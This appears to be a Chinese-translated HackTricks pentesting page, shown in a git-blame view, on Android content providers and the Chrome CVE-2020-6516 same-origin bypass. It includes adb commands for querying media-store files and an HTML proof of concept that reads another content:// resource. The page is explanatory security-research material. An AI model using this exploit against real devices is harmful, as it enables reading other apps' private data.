hacktricks/mobile-pentesting/android-app-pentesting/content-protocol.md

121 lines
8.8 KiB
Markdown
Raw Normal View History

2022-04-28 16:01:33 +00:00
<details>
2023-08-03 19:12:22 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-08-03 19:12:22 +00:00
- 你在一家**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
2022-04-28 16:01:33 +00:00
2023-08-03 19:12:22 +00:00
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
2022-04-28 16:01:33 +00:00
2023-08-03 19:12:22 +00:00
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
2022-04-28 16:01:33 +00:00
2023-08-03 19:12:22 +00:00
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
2022-04-28 16:01:33 +00:00
2023-08-03 19:12:22 +00:00
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
2022-04-28 16:01:33 +00:00
</details>
2023-08-03 19:12:22 +00:00
要尝试使用内容提供者可以在Android设备上使用`content`命令。不一定需要root访问权限。例如要查看由媒体存储管理的文件列表可以执行以下命令
2021-05-04 11:44:49 +00:00
```bash
$ content query --uri content://media/external/file
```
2023-08-03 19:12:22 +00:00
为了使输出更加用户友好,可以将显示的列限制为每个索引文件的标识符和路径。
2021-05-04 11:44:49 +00:00
```bash
$ content query --uri content://media/external/file --projection _id,_data
```
2023-08-03 19:12:22 +00:00
媒体提供者存在于它们自己的私有命名空间中。如上例所示,要访问内容提供者,应指定相应的 `content://` URI。通常可以通过查看应用程序清单如果内容提供者由应用程序导出或Android框架的源代码来恢复可以访问提供者的路径信息。
2021-05-04 11:44:49 +00:00
2023-08-03 19:12:22 +00:00
有趣的是在Android设备上Chrome支持通过 `content://` 方案访问内容提供者。这个功能允许浏览器访问第三方应用程序导出的资源(例如照片、文档等)。为了验证这一点,可以在媒体存储中插入一个自定义条目,然后使用浏览器访问它:
2021-05-04 11:44:49 +00:00
```bash
$ cd /sdcard
$ echo "Hello, world!" > test.txt
$ content insert --uri content://media/external/file \
2023-08-03 19:12:22 +00:00
--bind _data:s:/storage/emulated/0/test.txt \
--bind mime_type:s:text/plain
2021-05-04 11:44:49 +00:00
```
2023-08-03 19:12:22 +00:00
要发现新插入文件的标识符:
2021-05-04 11:44:49 +00:00
```bash
$ content query --uri content://media/external/file \
2023-08-03 19:12:22 +00:00
--projection _id,_data | grep test.txt
2021-05-04 11:44:49 +00:00
Row: 283 _id=747, _data=/storage/emulated/0/test.txt
```
2023-08-03 19:12:22 +00:00
而要在Chrome中查看文件可以使用以下图片中显示的URL。请注意文件标识符747上面发现的被用作URL的后缀。
2021-05-04 11:44:49 +00:00
![Chrome "Hello, world!"](https://census-labs.com/media/whatsapp-screenshot-hello-world.png)
2021-05-04 11:44:49 +00:00
2023-08-03 19:12:22 +00:00
例如您可以列出与WhatsApp相关的所有文件
2021-05-04 11:44:49 +00:00
```bash
$ content query --uri content://media/external/file --projection _id,_data | grep -i whatsapp
...
Row: 82 _id=58, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache
Row: 83 _id=705, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/157.240.9.53.443
Row: 84 _id=239, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/crashlogs.whatsapp.net.443
Row: 85 _id=240, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/pps.whatsapp.net.443
Row: 86 _id=90, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/static.whatsapp.net.443
Row: 87 _id=706, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/v.whatsapp.net.443
Row: 88 _id=89, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/www.whatsapp.com.443
...
```
2023-08-03 19:12:22 +00:00
## Chrome CVE-2020-6516 Same-Origin-Policy绕过 <a href="#cve-2020-6516" id="cve-2020-6516"></a>
2021-05-04 11:44:49 +00:00
2023-08-03 19:12:22 +00:00
浏览器中的_同源策略_SOP\[[12](https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin\_policy)] 规定URL A的Javascript内容只能在以下URL属性保持相同的情况下访问URL B的内容
2021-05-04 11:44:49 +00:00
2023-08-03 19:12:22 +00:00
* 协议,例如 `https` vs. `http`
* 域名,例如 `www.example1.com` vs. `www.example2.com`
* 端口,例如 `www.example1.com:8080` vs. `www.example1.com:8443`
2021-05-04 11:44:49 +00:00
2023-08-03 19:12:22 +00:00
当然,上述规则也有例外情况,但通常情况下,来自 `https://www.example1.com` 的资源例如一段Javascript代码不能访问 `https://www.example2.com` 上的DOM因为这会引入严重的信息泄漏。**除非Cross-Origin-Resource-SharingCORS策略明确允许否则Web资源不应该绕过SOP规则。**
2021-05-04 11:44:49 +00:00
2023-08-03 19:12:22 +00:00
需要注意的是Chrome将 `content://` 视为_本地方案_就像 `file://` 一样。在这种情况下SOP规则更加严格因为每个本地方案URL都被视为单独的源。例如位于 **file:///tmp/test.html** 中的Javascript代码不应该能够访问 **file:///tmp/test2.html** 或者文件系统上的任何其他文件。**因此根据SOP规则通过 `content://` 加载的资源不应该能够访问任何其他 `content://` 资源。**然而Chrome的漏洞CVE-2020-6516为此规则创建了一个“例外”。
2021-05-04 11:44:49 +00:00
2023-08-03 19:12:22 +00:00
CVE-2020-6516 \[[03](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-6516)] 是通过 `content://` URL加载的资源的SOP绕过。**例如,从 `content://com.example.provider/test.html` 加载的HTML文档中运行的Javascript代码可以加载和访问通过 `content://` URL加载的任何其他资源。**这是一个严重的漏洞特别是在运行Android 9或之前版本的设备上。在这些设备上未实现作用域存储 \[[13](https://developer.android.com/about/versions/10/privacy/changes#scoped-storage)],因此可以通过系统的媒体存储内容提供程序访问位于 **/sdcard** 下的应用程序特定数据,更有趣的是可以访问位于 **/sdcard/Android** 下的数据。
2021-05-04 11:44:49 +00:00
2023-08-03 19:12:22 +00:00
一个简单的概念验证。将使用 `XMLHttpRequest` 访问任意 `content://` URL 的HTML文档上传到 **/sdcard** 下。然后将其添加到媒体存储中并在Chrome中呈现类似于之前展示的示例。为了演示目的可以尝试加载 `content://media/external/file/747`实际上这是“Hello, world!”示例的媒体存储URL。令人惊讶的是运行在HTML文档源中的Javascript代码将获取并显示 **test.txt** 的内容。
2021-05-04 11:44:49 +00:00
```markup
<html>
<head>
2023-08-03 19:12:22 +00:00
<title>PoC</title>
<script type="text/javascript">
function poc()
{
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function()
{
if(this.readyState == 4)
{
if(this.status == 200 || this.status == 0)
{
alert(xhr.response);
}
}
}
xhr.open("GET", "content://media/external/file/747");
xhr.send();
}
</script>
2021-05-04 11:44:49 +00:00
</head>
<body onload="poc()"></body>
</html>
```
2023-08-03 19:12:22 +00:00
**从这篇文章中获取的信息:** [**https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/**](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/)
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-08-03 19:12:22 +00:00
- 你在一家**网络安全公司**工作吗想要在HackTricks中看到你的**公司广告**吗?或者你想要**获取PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
2022-04-28 16:01:33 +00:00
2023-08-03 19:12:22 +00:00
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
2022-04-28 16:01:33 +00:00
2023-08-03 19:12:22 +00:00
- 获取[**官方PEASS和HackTricks的衣物**](https://peass.creator-spring.com)
2022-04-28 16:01:33 +00:00
2023-08-03 19:12:22 +00:00
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
2022-04-28 16:01:33 +00:00
2023-08-03 19:12:22 +00:00
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
2022-04-28 16:01:33 +00:00
</details>